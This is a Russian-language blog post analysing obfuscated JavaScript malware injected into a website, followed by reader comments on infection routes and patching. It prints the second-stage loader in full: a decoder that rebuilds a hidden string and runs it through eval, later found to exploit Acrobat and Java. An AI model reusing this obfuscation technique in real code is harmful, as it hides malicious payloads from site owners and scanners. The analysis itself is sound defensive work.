Идентификация javascript зловреда

На одном сайте на поддержке в js был обнаружен странный код, точнее было понятно что это зловред: аваст выдал предупреждение, а консоль показала что есть соединение с несколькими левыми сайтами.

Как вредоносный код попал на сайт не так важно, предполагаемая дыра уже закрыта, но, прежде чем окончательно удалять код, я решил посмотреть что же он такого делает.

Итак, имеется три строки зашифрованного кода, возьмём, для примера, первую из них.
Расшифровывать такие скрипты можно с помощью различных онлайн-сервисов, но я же, когда пытался расшифровать дальше, наткнулся на замечательную программу, которая позволяет тратить на это меньше времени.

Расшифрованный скрипт становится намного понятнее, что интересно, обращение к сайту производилось на событие «document.onmousemove», поэтому, скорее всего, бот этот скрипт и не обнаружит.

Все три скрипта вели на сайты, домены которых были зарегистрированы в DyDNS, что не позволяет отследить этого человека, что нам и не требовалось, но было бы приятным дополнением.

Ок, теперь интересно, а что именно подгружает с сайта этот скрипт, это оказывается ещё одна обфусцированная js'ка. Мы уже знаем как определить настоящее предназначение скрипта, и не обнаруживаем ничего интересного в коде: подгружается айфрейм, в котором, как я думал, всё просто. Однако, ответ сервера меня очень удивил, там было огромное неясно что. В этом я и решил покопаться ручками, потому что волшебная программка не смогла помочь.

Интересными были и части html
<body id="eval">
<input type="text" value="innerHTML" id="bOHYVBO5">
<div id="length" style="visibility:hidden">

и скрипты
<script>
EPPkAnzs=document;
EPPkAnzs.wxdQzk0q=function(shjZdTvV){return EPPkAnzs.getElementById(shjZdTvV);};
EPPkAnzs.Wul6s0M=function(shjZdTvV){return EPPkAnzs["getElementsB@@@@@@@@@@yTagName".replace("@@@@@@@@@@","")](shjZdTvV);};
ZYpi6j9=EPPkAnzs.Wul6s0M("div")[0].id;
function SJHTBM(Y7vWZr3R,YCYqLvHz){return Y7vWZr3R.concat(YCYqLvHz);}
HALnMi=function(Y7vWZr3R,YCYqLvHz,DiZpr){return Y7vWZr3R.substr(YCYqLvHz,DiZpr);};
qo5mOv=EPPkAnzs.Wul6s0M("div")[1][EPPkAnzs.wxdQzk0q("bOHYVBO5").value];
vOm2xcMs = "D.a[-PREfb6)lIN%{c4 V&s>}yJ2?*8!=Yo0+9Zu7_dO$|\\'x<nUAG^]j;M31e/gCtHL5wvKh@\"#W,rpmSFi:zTqBQk(X";
wM16vq="";
lA8KxT38=qo5mOv[ZYpi6j9];
FBVE8K4W=0;
i=0;
gTjSM=[];
while(FBVE8K4W<lA8KxT38){
gTjSM[i] = HALnMi(qo5mOv,FBVE8K4W,2);
FBVE8K4W=2+FBVE8K4W;
i++;
}
i=0;
while(i<gTjSM[ZYpi6j9]){
iidteUpd=HALnMi(vOm2xcMs,gTjSM[i],1);
wM16vq=SJHTBM(wM16vq,iidteUpd);
i++;
}
</script>
<script>
if(EPPkAnzs.Wul6s0M("div")[0].id==="length")this[EPPkAnzs.Wul6s0M("body")[0].id](wM16vq);;
</script>


Для начала я решил всё это упростить, чтобы не смотреть на беспорядочный набор букв. Первое, что просится — это заменить везде «EPPkAnzs» на «document», выполнить очевидное, «getElementsB@@@@@@@@@@yTagName».replace("@@@@@@@@@@","") заменить на «getElementsByTagName» и так далее. Затем начал упрощать названия функций и подставлять необходимые значения.
Неудобочитаемое «qo5mOv=EPPkAnzs.Wul6s0M(»div")[1][EPPkAnzs.wxdQzk0q(«bOHYVBO5»).value];" превратилось в понятное «big_text=document.getElementsByTagName(»div")[1][«innerHTML»];"
После всех этих достаточно нехитрых манипуляций стал очевиден коварный замысел скриптописателя, циклом он пробегался по верхнему куску цифр, дробил их по две и брал букву соответствующей позиции из строки символов. Когда всё стало ясно, то я просто eval'ом вывел результат и немного его отформатировал.
Бегло пробежавшись по скрипту, я увидел что используются уязвимости Acrobat Reader'а и Java.

На этом я успокоился и с чистой совестью удалил все упоминания зловреда. Проверяйте популярные плагины на защищённость и оперативно обновляйте, чтобы не пришлось устраивать такие квесты.
Поделиться публикацией
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама
Комментарии 10
  • 0
    У нас тоже несколько сайтов оказались заражены этой штукой. Какую дыру он может использовать?
    • +2
      У нас был fckeditor, уязвимость при загрузке файла. Скорее всего, стоит рыть в этом же направлении.
      • 0
        Когда я с таким сталкивался, «дыра» была стандартная: прокладка между стулом и клавиатурой. Затрояненный по самые гланды виндовс, осёл вместо браузера и FTP-клиента с сохранёнными паролями.
      • +1
        Тоже сталкивался. Причем прописалась во все .js-файлы.
        • –6
          > Бегло пробежавшись по скрипту, я увидел что используются уязвимости Acrobat Reader'а и Java.

          Неужели кто-то, после десятков найденных уязвимостей, до сих пор еще использует Acrobat, тем более встроенный в браузер (и запускающийся без ведома пользователя) и Java в браузере? Люди, вы странные.
          • +13
            Нет, конечно все сидят с Linux'а, запущенного на виртуалке, работающей на хосте с грамотно настроенными FireWall'ом, HIPS'ом, антивирусом со 100% детектом и всегда свежим ПО. Особенно домохозяйки.
            • +1
              Экономисты, которым я сегодня ходил переименовать иконки на рабочем столе, не разделяют вашего удивления.
            • +2
              > Проверяйте популярные плагины на защищённость и оперативно обновляйте,
              > чтобы не пришлось устраивать такие квесты

              Домохозяек конечно не спасёт, но процедуру здорово упрощает http://surfpatrol.ru/report.aspx
              • 0
                Если везде включены автоапдейты, то все всегда будет зеленое, так?
                • 0
                  Нет, будет красное в промежутке между обнаружением уязвимости и выходом патча для неё

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.